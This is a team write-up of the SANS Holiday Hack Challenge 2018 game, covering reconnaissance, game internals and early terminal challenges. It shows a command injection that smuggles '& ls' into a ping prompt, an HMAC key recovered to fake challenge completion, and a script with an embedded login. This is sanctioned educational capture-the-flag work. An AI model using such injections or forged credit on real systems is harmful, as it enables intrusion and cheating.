SANS 2018 Holiday Hack Writeup
Table of Contents
- Introduction
- Answers
- Reconnaisance
- LineCon
- KringleCon
- Cranberry Pi Terminals
- Objectives
- Going Further: Escalations and 0days
- Working as a Team
- Easter Eggs
- Thank Yous
- Appendix 1: Reverse Engineering PyInstaller Binaries
- Appendix 2: Game Internals: HMACs and Hidden Terminal Messages
- Appendix 3: Scripts and Tools
- Postscript: Police Report
Introduction
In the following write up of the Holiday Hack Challenge 2018, you’ll find an enthralling take on a story we all know. Sure there is the mystery of Kringle Castle, but there’s also the intrigue of easter eggs, the thrill of unknown escalations, and the allure of a 0day. You’ll also find an automated vent map, the truth behind Rachmaninoff, and some easter eggs of our own.
You’ll feel like you won a Golden Ticket with how easy it is to follow along. The sections along the side expand in an everlasting way, not unlike a Gobstopper, and what presents itself like a piece of gum; small and easily chewed through, but actually fills you up like a three course meal. We lay out the answers off the bat so you can chew into the Wonka Bar-like sweetness right away.
We then move into the pre hack reconnaissance we went through, as if we were watching Nakatomi Plaza before attacking the hack. Linecon had us waiting for our chance to arrive at the Holiday Party and make our presence known. From there, we work our way through the story like Samantha Coleman before we drop into the juicy part of the challenge.
You’ll see the Cranberry Pi Terminal challenges come up next, with a detailed overview. Each one will give the goal and any necessary background needed to begin tackling it (including relevant hints and videos). Feel free to skip right to the Solution (including asciinema videos, that allow you to copy and paste) if you just want to know the answer. If you feel like learning more, we’ll then step you through our thought process in solving the problems, how the challenge was made, and sometimes, an alternate solution. The Summary for each challenge is also a good spot to skip to if you’re short on time as you’ll get a nice, brief idea of what we did. The following Objectives section works almost exactly the same, though leans more on pictures than gifs.
After that is the really good stuff. We managed to escalate privileges on the Snort system, which allowed us to pivot to snortsensor1. There we discovered a 0day in rssh, and exploited a race condition which allowed us to read arbitrary files as root.
We also thought it might be useful to show our entire process, how we worked efficiently as a small team, maybe our ideas will help others. You might also have better ideas and can share your techniques with us, we love to learn and improve!
Some artifacts will be left on our Github as they fit better there and we don’t want to overwhelm you any more than required. See how many easter eggs you can find between this site and the Github!
Happy reading,
–Dop, Sam and Vlad
Answers
What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions?
Happy Trails (Die Hard Reference)
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?
John McClane (Die Hard Reference)
The KringleCon Speaker Unpreparedness room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker?
Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?
Yippee-ki-yay (Die Hard Reference)
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name?
What is the access control number revealed by the door authentication panel?
19880715 (Die Hard Reference)
Which terrorist organization is secretly supported by the job applicant whose name begins with "K"?
Fancy Beaver (Fancy Bear reference)
What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?
What is the success message displayed by the Snort terminal?
What is the domain name the malware in the document downloads from?
erohetfanu.com (Obfuscated Die Hard reference)
What is the full sentence text that appears on the domain registration success message (bottom sentence)?
Successfully registered yippeekiyaa.aaay! (Die Hard reference)
What is the password entered in the database for the Vault entry?
ED#ED#EED#EF#G#F#G#ABA#BA#B (Willy Wonka reference)
What message do you get when you unlock the door?
Who was the mastermind behind the whole KringleCon plan?
Reconnaisance
Any penetration test starts with reconnaisance on your target. In a typical Capture the Flag (CTF) or other hacking challenge, you're given all this information up-front. However, this step shouldn't be skipped, as it can make the challenge easier.
Goal
Identify domain names, hostnames, IP addresses, etc.
Reverse Whois
First, we'll try to identify the domain names being used. Last year,
the domain was northpolechristmastown.com. Every domain name has
some ownership information associated with it. We can query this
information via a whois
lookup:
$ whois northpolechristmastown.com
... Domain Name: northpolechristmastown.com Registry Domain ID: 2176618950_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.godaddy.com Registrar URL: http://www.godaddy.com Updated Date: 2017-10-19T19:29:00Z Creation Date: 2017-10-19T19:29:00Z ... Registrant Organization: Counter Hack ...
northpolechristmastown.com was registered in October 2017, and the organization is listed as Counter Hack. Using this information, we can also do a "reverse whois" search, where we can see all domains that a given organization is listed as the registrant for:
Figure 1: A reverse whois search for Counter Hack
kringlecon.com was registered in May, and in July it was opened up for participants to begin signing up, and poking around (more on that below, in "LineCon").
erohetfanu.com and kringlecastle.com were registered in October. LineCon gave us a hint about the castle. erohetfanu.com seems obfuscated.
Domain Name System (DNS)
Armed with the 3 domain names, we'll see what additional information we can glean. DNS attempts to convert between hostnames and IP addresses.
dig +noall +answer ANY kringlecon.com
kringlecon.com. 599 IN A 104.196.14.143
kringlecon.com. 3599 IN NS ns45.domaincontrol.com.
kringlecon.com. 3599 IN NS ns46.domaincontrol.com.
kringlecon.com. 3599 IN SOA ns45.domaincontrol.com. dns.jomax.net. 2018121800 28800 7200 604800 600
kringlecon.com. 3599 IN MX 10 aspmx.l.google.com.
kringlecon.com. 3599 IN MX 20 alt1.aspmx.l.google.com.
kringlecon.com. 3599 IN MX 30 alt2.aspmx.l.google.com.
kringlecon.com. 3599 IN MX 40 aspmx2.googlemail.com.
kringlecon.com. 3599 IN MX 50 aspmx3.googlemail.com.
kringlecon.com. 3599 IN TXT "v=spf1 include:_spf.google.com ~all"
There's a lot of information returned, but we can learn that kringlecon.com resolves to the IP address 104.196.14.143, that DNS services are provided by domaincontrol.com, and that e-mail services are provided through Google Mail. These are "indicators," and can be used to track how a certain actor likes to operate. Domains and IP addresses can change, but tactics often stay the same.
Whois also works on IP addresses, so we can see the ownership of the IP address returned:
whois 104.196.14.143
... NetRange: 104.196.0.0 - 104.199.255.255 CIDR: 104.196.0.0/14 NetName: GOOGLE-CLOUD ...
The IP address is owned by Google, and the name of the network implies that it's part of Google's Cloud offerings. Some more digging reveals that northpolechristmastown.com was set up the same way.
We can perform similar queries on the other two domains, and we find out the following information:
Domain | Purpose | Domain Registration Date | Domain Registry | DNS Provider | Mail Provider | IP Address | IP Owner |
---|---|---|---|---|---|---|---|
northpolechristmastown.com | Last Year's Domain | October 19th, 2017 | GoDaddy.com | domaincontrol.com | n/a | Hosts hosted on Google Cloud | |
kringlecon.com | The Kringle Conference | May 25th, 2018 | GoDaddy.com | domaincontrol.com | 104.196.14.143 | Google Cloud | |
kringlecastle.com | Unknown: Kringle's Castle? | October 12th, 2018 | GoDaddy.com | domaincontrol.com | n/a | Unknown | |
erohetfanu.com | Unknown: Something hidden? | October 16th, 2018 | GoDaddy.com | domaincontrol.com | 104.196.126.19 | Google Cloud |
Certificate Transparency Logs
After determining the domains for this year's Holiday Hack, we'd like to figure out what systems there are in those domains. A good way of doing this is via Certificate Transparency logs – public logs which serve as an audit mechanism for SSL certificates which are issued, in order to detect mistaken or malicious certificates.
There are several free services which allow you to query these logs. I like using VirusTotal.com:
Figure 2: Certificates for kringlecastle.com
Figure 3: Certificates for kringlecon.com
Monitoring
Since we found several hosts that use SSL certificates, it's a pretty safe bet that they'll be web servers. We can set up monitoring to poll some of these systems, so that we'll know as soon as the contest goes live.
Figure 4: Let the games begin…
Summary
IP Address | Hostname |
---|---|
35.185.2.206 | scanomatic.kringlecastle.com |
hohohodaddy.kringlecastle.com | |
35.185.76.157 | docker2018-qa.kringlecon.com |
35.185.89.85 | git.kringlecastle.com |
35.185.103.210 | pianolockn.kringlecastle.com |
35.185.104.53 | docker.kringlecon.com |
35.190.187.47 | packalyzer.kringlecastle.com |
35.196.29.176 | doorpasscode.kringlecastle.com |
cfp.kringlecastle.com | |
pianolock.kringlecastle.com | |
35.196.162.157 | narrative.kringlecon.com |
35.229.118.54 | careers.kringlecastle.com |
35.237.171.66 | vents.kringlecastle.com |
35.243.215.176 | status.kringlecon.com |
104.196.14.143 | www.kringlecon.com |
kringlecon.com | |
api.kringlecon.com | |
rsvp.kringlecon.com | |
104.196.66.61 | snortsensor1.kringlecastle.com |
LineCon
Goal
Register for the conference, and look for any secrets
Finding a hidden path
While zooming out the browser window, something appeared off to the right:
Figure 5: A secret snow path
Upon visiting the secret path, we could see a castle in the distance.
Figure 6: Kringle Castle?
Client-side tricks to make secrets stand out
To make it easier to see hidden paths, we can use this JavaScript
snippet in our browser's Javascript console. To access the console, visit
Tools
→ Web Developer
→ Web Console
in Firefox, and View
→ Developer
→ JavaScript Console
in Chrome.
var i; var lava = document.getElementsByClassName('lava'); for ( i = 0; i < lava.length; i++ ) { lava[i].style.background = "pink"; };
The game uses a special HTML class called "lava" for any element which is "walkable." Our snippet finds all elements which have that class, and then sets their background color to pink.
Figure 7: Making everything pink in the Console
Figure 8: Pink paths!
Game Internals: WebSocket Messages
Using the same Developer Tools, we can start reverse engineering how the game works. As we'll discover, the game relies on WebSocket messages. Firefox currently lacks the ability to view these messages, so it's recommended to use Chrome for this portion.
This time, we'll use the Network
tab in the Developer
Tools. Network traffic from your browser will be listed here. If
this tab wasn't open when the traffic was initiated, nothing will
show up, so it's best to have this tab open and then refresh the
page, to ensure we see everything. Once we login go the game, we
can filter on WebSocket connections by clicking on the WS
filter,
and then view the Frames
tab to see the individual messages:
Figure 9: WebSocket messages
Messages in green are messages that we sent to the server, and the other messages are the replies. By interacting with the game and observing which messages are sent/received, we can slowly learn how to interact with the game without a browser.
Using the new-found knowledge about WebSocket messages, we can create a simple client for the game:
#!/usr/bin/env python3 import asyncio import simplejson as json import time import websockets async def hello(): async with websockets.connect('wss://api.kringlecon.com/ws') as websocket: # The initial connect message await websocket.send('{"type":"WS_CONNECTED","session":null,"protocol":"43ae08fd-9cf2-4f54-a6a6-8454aef59581"}') # Wait for OHHIMARK while True: response = json.loads(await websocket.recv()) if response['type'] == 'WS_OHHIMARK': break # Send the login info await websocket.send('{"type":"WS_LOGIN","usernameOrEmail":"VG","password":"3j6QMM3grTYYp7jWkie&f"}') # Print out everything we get back while True: response = json.loads(await websocket.recv()) print(response) asyncio.get_event_loop().run_until_complete(hello())
Game Internals: Avatar DNA
As we explored LineCon, one feature that drew our attention was
that the appearance of each avatar was encoded as DNA. Using the
standard DNA sequence letters (A, T, C, G), pairs of letters would
encode the numbers 0-3: E = {AT: "0", TA: "1", GC: "2", CG:
"3"}
. A neat detail is the fact that these pairs match DNA
nucleic-acid pairs (i.e. in the double-helix, A is complementary to
T, and C with G).
The avatar is encoded as a 120 character sequence, such as
ATATATTAATATATATATATATTAATATATATCGTAGCCGATATATATATATTATAATATATATATATTAGCATATATTAATATATATATATGCATATATATATATATTAGCATATATCG
. Once
we convert the pairs back to numbers, we get a 60 digit sequence:
000100000001000031230000001100000012000100000020000000120003
.
Inspecting the Javascript code, we can see how this sequence gets translated back to an avatar:
C = [ { name: "size", size: 4 }, { name: "legs", size: 8 }, { name: "hue", size: 8 }, { name: "torso", size: 8 }, { name: "head", size: 8 }, { name: "saturation", size: 4 }, { name: "mouth", size: 8 }, { name: "eyes", size: 8 }, { name: "brightness", size: 4 }];
Returning to our example, we can convert the sequence to these
fields. A quick way to convert the numerical sequences is using
Python's int
function with a base of 4: int("0001", 4)
.
Offset | Size | Sequence | Name | Value |
---|---|---|---|---|
0 | 4 | 0001 | size | 1 |
4 | 8 | 00000001 | legs | 1 |
12 | 8 | 00003123 | hue | 219 |
20 | 8 | 00000011 | torso | 5 |
28 | 8 | 00000012 | head | 6 |
36 | 4 | 0001 | saturation | 1 |
40 | 8 | 00000020 | mouth | 8 |
48 | 8 | 00000012 | eyes | 6 |
56 | 4 | 0003 | brightness | 3 |
We can verify our decoding by searching for the names of the color
schemes in the Javascript. In the example sequence above, the
avatar selection modal used "Flimsy Cappuccino," which we can find
defined as: { name: "Flimsy Cappuccino", hue: 219, saturation: 1, brightness: 3 }
. An exact match!
Another cool mini-feature is that if you open up the Console
tab
of your Developer Tools, you can see representations of the DNA
sequence:
Figure 10: DNA Sequences in the Console tab
The color scheme is: { A: "yellow", T: "green", C: "teal", G:
"red" }
. So, in the example above, the top line starts AAAT
, and
the bottom line is the complementary sequence TTTA
.
First Finding: Avatar vulnerability
In the Network
tab of the Developer Tools, we can see other
resources that are being loaded by the game. One of these is an
image, called egg.png
:
Figure 11: egg.png
It seems like the game uses this when it can't load an image:
render() { const {dna: e, version: t} = this.props; if (au.a.validateSequence(e)) return du.a.createElement("div", { className: "a-wild-missingno-appears" }, du.a.createElement("img", { src: "images/egg.png", alt: ":)" }));
While investigating this mysterious image, it was discovered that we could use our WebSocket client to set an invalid avatar for ourselves.
Doing this caused an exception which would render our game completely black and inoperable.
Worse yet, our avatar was being loaded by other players in the game, and it would cause their screens to go black as well.
We quickly set our avatar back to its original state, and reported this issue to the SANS Counter Hack team. They quickly issued a fix for it.
Summary
LineCon was a great preview! We prepped some in-browser tricks for making paths or other interesting elements stand out. We wrote a simple Python script which allowed us to interact directly with the game. And we discovered and reported our first vulnerability.
KringleCon
Map
First, we walk around, familiarizing ourselves with the surroundings:
Story
As you walk through the gates, a familiar red-suited holiday figure warmly welcomes all of his special visitors to KringleCon.
Your narrative begins when you stop to chat with Santa and he shares the preceding.
Continuing into the castle, you begin to poke around. Once you
complete the door passcode challenge and receive the
doorpasscode_completed
token, you start to notice some suspicious
behavior:
Suddenly, all elves in the castle start looking very nervous. You can overhear some of them talking with worry in their voices. The toy soldiers, who were always gruff, now seem especially determined as they lock all the exterior entrances to the building and barricade all the doors. No one can get out! And the toy soldiers' grunts take on an increasingly sinister tone.
You carry on and help out by finding some secrets in a git
repository. This unlocks the datarepohack_completed
token. While
receiving that, you begin to see something disturbing, the toy
soldiers act even more aggressively.
They are searching for something – something very special inside of Santa’s castle – and they will stop at NOTHING until they find it.
Hans seems to be directing their activities. What could they be after? In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech. Make sure you visit Hans to hear his speech." What could he have to say?
Ladies and Gentlemen…
Due to the North Pole’s legacy of providing coal as presents around the globe …
… they are about to be taught a lesson in the real use of POWER.
You will be witnesses.
Now, Santa… that’s a nice suit… John Philips, North Pole. I have two myself. Rumor has it Alabaster buys his there.
I have comrades in arms around the world who are languishing in prison.
The Elvin State Department enjoys rattling its saber for its own ends. Now it can rattle it for ME.
The following people are to be released from their captors.
In the Dungeon for Errant Reindeer, the seven members of the New Arietes Front.
In Whoville Prison, the imprisoned leader of ATNAS Corporation, Miss Cindy Lou Who.
In the Land of Oz, Glinda the Good Witch.
All of a sudden, all of the toy soldiers are similarly taken by Die Hard references:
Grunt!
Links.
Nein! Nein! Nein!
No one is coming to help you.
Get the over here!
Schnell!
As you keep digging for secrets trying to figure out just what’s
going on here, you break into the domain and get the
domainhack_completed
token. This reveals another, even more sinister
sight:
The toy soldiers continue behaving very rudely, grunting orders to the guests and to each other in vaguely Germanic phrases. Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, "NOW I HAVE A ZERO-DAY. HO-HO-HO."
The elves are panicking:
Oh my! Santa’s castle… it’s under siege!
We’re trapped inside and can’t leave.
The toy soldiers are blocking all of the exits!
We are all prisoners!
That is worrisome, but even more so when you start to hear, "A rumor spreads among the elves that Alabaster has lost his badge. Several elves say, 'What do you think someone could do with that?'"
Quickly trying to help out and save the castle from attack, you find
an example badge used to beat the qrcode Scan-O-Matic
objective. Finding a way to trick your way through this badge reader
to earn your qrcode_completed
token, you hear, "Congratulations! You
have gained access to Santa's secret room." This is great, but then
you quickly learn that, "Hans has started monologuing again. Please
visit him in Santa's lobby for a status update."
Our captor tells us:
So, you’ve figured out my plan – it’s not about freeing those prisoners.
The toy soldiers and I are here to steal the contents of Santa’s vault!
You think that after all my posturing, all my little speeches, that I’m nothing but a common thief.
But, I tell you – I am an exceptional thief.
And since I've moved up to kidnapping all of you, you should be more polite!
As you go listen to Hans, you notice a vent cover that seems… not
quite right. As you wonder where this maze of a vent system could
take you, you eventually find your way out. This unlocks the
ventmaze_completed
token and you find yourself in a new room. "Great
work! You have blocked access to Santa's treasure… for now.
Please visit Hans in Santa's Secret Room for an update." As you
approach Hans, "…suddenly, Hans slips and falls into a snowbank
[editor’s note: that is strangely located inside this secret, third
story room hidden in a castle]. His nefarious plan thwarted, he's
now just cold and wet." Things are starting to look up, "But Santa
still has more questions for you to solve!"
You need to find Santa to see if you can answer his questions. Your
eye lands on a door you couldn’t have seen before. It won’t open and
has some strange musical lock on it. After struggling with it, you
finally defeat the lock and collect the pianolock_completed
token. With this, you are able to enter this final hidden room and
talk to Santa.
Congrats! You have solved the hardest challenge! Please visit Santa and Hans inside Santa's Secret Room for an update on your amazing accomplishment!
The elves say "YAY! You won!", and Hans and the now hat-less toy soldiers join in on congratulating us. Santa explains:
You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!
You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!
You see, I finally found you!
I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.
That’s why we had so many different challenges this year.
We needed to find someone with skills all across the spectrum.
I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.
And you did!
Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.
See what happens when they take off those hats?
Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys.
And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?
They lived happily ever after.
Walking back out of these once secret rooms, as you leave the castle
and hear Jason the plant's lament of psmitty, you realize that
instead of snaking through the arduous, confusing maze of vents, you
could have won the elfhrhack_completed
token and gotten the same
access, and heard the same information. Oh well, you saved the day,
and what action hero are you really if you don’t come out looking
bloodied and dirtied like this at the end?
Bonus: Crawling through the Vents
Now I know what a TV dinner feels like. —John McClane
Solution 1: Manually Crafted Vent Maze
On the left side of the lobby in Santa's Castle is a large air vent that's large enough to crawl through, upon entering it's soon clear that this is a maze. This can be solved manually by carefully crafting a map during an hour long meeting (not that anyone would do that).
Solution 2: Recover Map from Git Repository
In Objective 4, we manage to recover a map from the GitLab server.
Solution 3: Automated Maze Solver
Perhaps the most fun way to solve the maze is programmatically. To move, your browser sends a request like:
Breaking that out to be more clear:
Field | Value | Meaning |
---|---|---|
heading |
w |
Current heading: n=north, w=west, s=south, e=east |
mazex |
23 |
Current X coordinate |
mazey |
19 |
Current Y coordinate |
mazef |
1 |
Current maze floor |
playeraction |
forward |
Potentially valid options: forward, backward, up, down |
locationkey |
ba49a09644aa8fa7fb0082e935f46521 |
The unique location id key for where you currently are |
resourceid |
inigomontoya |
Never changes, clearly a reference to The Princess Bride |
It's important to note that every location on the vent map has a unique locationkey. So we can't just sent a request for every possible x,y,f position without traversing the maze and learning the location keys. Assuming you send an action that moves you to a valid location, the server response will include a number of variables outlining your current state:
window.onload = function() { document.getElementById("top").style.visibility="hidden"; document.getElementById("bottom").style.visibility="hidden"; document.getElementById("arrow-up").style.visibility="hidden"; document.getElementById("arrow-down").style.visibility="hidden"; //next section depends on player state document.getElementById("mazeform").elements.namedItem("heading").value = "w"; document.getElementById("mazeform").elements.namedItem("mazex").value = "22"; document.getElementById("mazeform").elements.namedItem("mazey").value = "19"; document.getElementById("mazeform").elements.namedItem("mazef").value = "1"; document.getElementById("mazeform").elements.namedItem("locationkey").value = "07edf09b26a307b9fe4f40bedffe76ed"; document.getElementById("mazeform").elements.namedItem("resourceid").value = "inigomontoya"; document.getElementById("wallform").elements.namedItem("northwall").value = "True"; document.getElementById("wallform").elements.namedItem("southwall").value = "True"; document.getElementById("wallform").elements.namedItem("eastwall").value = "False"; document.getElementById("wallform").elements.namedItem("westwall").value = "False"; wallcheck(); //render correct walls once state is known };
The important parts here are the True/False value of the four walls, which gives us valid headings, and the locationkey for our new coordinates. The size of the response is generally within a few bytes (3509-3514) which can be used to help find locations that aren't like the others, like the shaft to the second floor and the exit. In these cases the response size changes as well as the arrow-up/arrow-down elements may be visible instead of hidden.
A Python script was written to automatically solve the maze by always going right. It generates a map with the following final output. 'S' is the starting location, 'U' and 'D' represent up and down possibilities, and 'X' marks the current location: the exit.
U.███████.█████.█.█.███ D████████.............. █.█.....█.█...█.█.█...█ ......█.█.............. ███.....█████.█████████ █████.█.█.............. ............█.......... ....█.█.█.............. ............███.███.███ █.█.█.█.█...........███ ..............█...█...█ █.█.█...█...........█.█ ..............█.█.█.█.█ ███.█.███...........█.X ..............█.█.█.█.█ █.█.█.█.............█.. ..............███.█.█.█ █.█.███.......█████████ ................█.█.█.█ █.█.█.........█.....█.. ................███.███ █.█.█.......███.█.█████ ..................█.█.. █...█.......█...█.█...█ ............█████████.█ ███████████████.█.███.█ ............█.█.█.....█ █.█.......█.█.█.█...█.. ............█.█.███████ █.█.███.███.█.█.█████.█ ............█.......█.. █.....█.█.......█...█.█ ............█████.█████ ███.███████.█████.█.███ ................█...... █...█...........█.█.█.█ ................██████S █.███.█████████████.█.█
<html><head> <script src="./conduit.js"></script> <script> __POST_RESULTS__({ hash:"9ab70b3f354515c18885f34e7ac903eedcac2f93d1b28de249e3222ff7f83db9", resourceId: "inigomontoya"}); </script> </head><body><h1><font color="green">Congratulations!</body></html>
Exiting the vent maze you end up in Santa's Secret Room. The other way to get there is through the Scan-o-matic challenge.
Cranberry Pi Terminals
Overview
As we walk around, we can find various terminals, and as we talk to the elves standing near them, we get some hints.
Terminal | Direct URL | Elf | Hint | Location |
---|---|---|---|---|
Essential Editor Skills | viescape | Bushy Evergreen | Indiana University Vi Tutorials | East side of Lobby |
The Name Game | pwshmenu | Misty Candycane | PowerShell Command Injection SQLite3 .dump'ing | West side of Lobby |
Lethal ForensicELFification | viminfo | Tangle Coalbox | Vim Artifacts | East Hall Corridor |
Stall Mucking Report | plaintext-creds | Wunorse Openslae | Plaintext Credentials in Commands | East Wing |
CURLing Master | http2 | Holly Evergreen | HTTP/2.0 Basics | West Wing |
Yule Log Analysis | spray-detect | Pepper Minstix | Password Spraying | East Hall Proper |
Dev Ops Fail | gitpasshist | Sparkle Redberry | Finding Passwords in Git Git Cheat Sheet | West side of Balcony |
Python Escape from LA | python_docker_challenge | SugarPlum Mary | Python Escape (Check out Mark Baggett's talk upstairs) | West side of Balcony |
The Sleighbell Lottery | unlinked-function | Shinny Upatree | Using gdb to Call Random Functions! | East side of Balcony |
Essential Editor
Goal
Quit the vim editor.
Background
- Elf Chat
Bushy Evergreen tells us the following:
Hi, I'm Bushy Evergreen.
I'm glad you're here, I'm the target of a terrible trick.
Pepper says his editor is the best, but I don't understand why.
He's forcing me to learn vi.
He gave me a link, I'm supposed to learn the basics.
Can you assist me with one of the simple cases?
- Badge Hint
Once Bushy tells us the above, we get the following hint: Indiana University Vi Tutorials
- Relevant KringleCon Videos
None
Intro
When we login, we're presented with the following screen:
I'm in quite a fix, I need a quick escape. Pepper is quite pleased, while I watch here, agape. Her editor's confusing, though "best" she says - she yells! My lesson one and your role is exit back to shellz. -Bushy Evergreen Exit vi.
Solution
This can be easily solved with the hint from Bushy Evergreen. As
the page says, to exit, hit Esc
, then type :q!<Enter>
. Escape
ensures that vi
is in command mode, q
is the command for quit,
and the exclamation point instructs it to not warn us about any
unsaved changes.
Game Internals: How it was made
The Docker terminals drop us into a terminal with our Bash shell
running. Normally when Bash is running, it will read some
configuration files on startup, including .bashrc
in the user's
home directory. Inspecting our .bashrc
, we see the following two
lines at the bottom:
vim .message /usr/local/bin/successfulescape
When Bash starts, it runs vim
, opening the file .message
. Whenever vim
exits, it runs /usr/local/bin/successfulescape
.
Using our technique to reverse engineer binaries, we can recover this script. The main logic of the script is:
if checkvimps() == False: hmac256 = calcHmac(key, RESOURCEID) printResponse(hmac256, RESOURCEID) time.sleep(0.5) print('\nYou did it! Congratulations!\n') else: print('Hmm. I think vim is still running...')
The checkvimps
function will actually make sure that no process
named vi
is running. So, even if you had called
successfulescape
from within vim
, you would not receive
credit.
def checkvimps(): pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] for pid in pids: try: if open(os.path.join('/proc', pid, 'comm'), 'rb').read()[0:2] == 'vi': return True except IOError: continue return False
The final noteworthy portion of this script is calculating the HMAC which is sent to the game server to receive credit for completion of this challenge. The HMAC algorithm is discussed in detail in Appendix 2 However, the source code does reveal the HMAC key:
key = '2bb6b9c702834095a9c3284e053da124'
Summary
We escaped vim
by giving the quit command. We then showed how
vim
was being started upon login, and how we received credit for
completing it. We successfully reverse-engineered the
successfulescape
binary, and recoved the HMAC key, so now we can receive
credit without ever solving the challenge at all.
Powershell Name Game
Goal
To solve this challenge, determine the new worker's first name and submit to runtoanswer.
Background
- Elf Chat
Minty tells us:
Can you help me? I'm in a bit of a fix.
I need to make a nametag for an employee, but I can't remember his first name.
Maybe you can figure it out using this Cranberry Pi terminal?
The Santa's Castle Onboarding System? I think it's written in PowerShell, if I'm not mistaken.
PowerShell itself can be tricky when handling user input. Special characters such as & and ; can be used to inject commands.
I think that system is one of Alabaster's creations.
He's a little … obsessed with SQLite database storage.
I don't know much about SQLite, just the .dump command.
- Badge Hint
Talking to Minty unlocks two hints: PowerShell Call/& Operator and SQLite3 Data Dump.
- Relevant KringleCon Videos
None
Intro
When we launch the Cranberry Pi, we see:
We just hired this new worker, Californian or New Yorker? Think he's making some new toy bag... My job is to make his name tag. Golly gee, I'm glad that you came, I recall naught but his last name! Use our system or your own plan, Find the first name of our guy "Chan!" -Bushy Evergreen To solve this challenge, determine the new worker's first name and submit to runtoanswer. ==================================================================== = = = S A N T A ' S C A S T L E E M P L O Y E E O N B O A R D I N G = = = ==================================================================== Press 1 to start the onboard process. Press 2 to verify the system. Press q to quit. Please make a selection:
Solution
Given the hints, it sounds like our penultimate step is to dump the data from SQLite, and look for someone named Chan. The Powershell menu presents us with three options:
Press 1 to start the onboard process. Press 2 to verify the system. Press q to quit.
Maybe we're on a quitting streak after the first terminal, but we
start by trying to get to a command prompt directly, and hit q
to quit. Unfortunately, that hangs the terminal, and we can't type
anything else.
Reloading, and trying again, we do the onboard process. Minty mentioned trying to give Powershell tricky characters, like ;
and &
:
Welcome to Santa's Castle! At Santa's Castle, our employees are our family. We care for each other, and support everyone in our common goals. Your first test at Santa's Castle is to complete the new employee onboarding paperwork. Don't worry, it's an easy test! Just complete the required onboarding information below. Enter your first name. : Minty; Enter your last name. : Candy Cane & Enter your street address (line 1 of 2). : 221B Baker Street; Enter your street address (line 2 of 2). : NW1 6XE; Enter your city. : London; Enter your postal code. : NW1 6XE; Enter your phone number. : 8175309; Enter your email address. : minty.candycane@kringlecon.com; Is this correct? Minty; Candy Cane & 221B Baker Street; NW1 6XE; London;, NW1 6XE; 8175309; minty.candycane@kringlecon.com; y/n: y Save to sqlite DB using command line Press Enter to continue...:
No luck. Once we hit enter, we're back in the main menu. We'll move on to the last unexplored option, verifying the system.
Validating data store for employee onboard information. Enter address of server: 1.1.1.1 connect: Network is unreachable onboard.db: SQLite 3.x database Press Enter to continue...: # Try again... Validating data store for employee onboard information. Enter address of server: 8.8.8.8 connect: Network is unreachable onboard.db: SQLite 3.x database Press Enter to continue...: # One more attempt: Validating data store for employee onboard information. Enter address of server: localhost PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.036 ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.060 ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.061 ms --- localhost ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2045ms rtt min/avg/max/mdev = 0.036/0.052/0.061/0.013 ms onboard.db: SQLite 3.x database
So, the verification pings the server you give it, and then checks the onboard.db
file. Once again, let's try giving it some potentially troublesome characters:
Validating data store for employee onboard information. Enter address of server: & Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination onboard.db: SQLite 3.x database Press Enter to continue...: # Try again... Validating data store for employee onboard information. Enter address of server: ; Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination onboard.db: SQLite 3.x database Press Enter to continue...:
Submitting &
and ;
behave the same – we see the usage
information for ping. It's the same output we would see if we
called ping without any arguments. One of the pages that Minty
linked us to said that we can use the &
operator in Powershell
to call other commands. Let's try it:
Validating data store for employee onboard information. Enter address of server: & ls Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination menu.ps1 onboard.db runtoanswer onboard.db: SQLite 3.x database Press Enter to continue...:
It's a bit hard to see in the output, but we have a different line
from the time before: menu.ps1 onboard.db runtoanswer
. This
would be the output from our ls
command.
At this point, we can exit the Powershell menu and run our own commands. Now we can dump the SQLite database, using the tips in the second link that Minty provided:
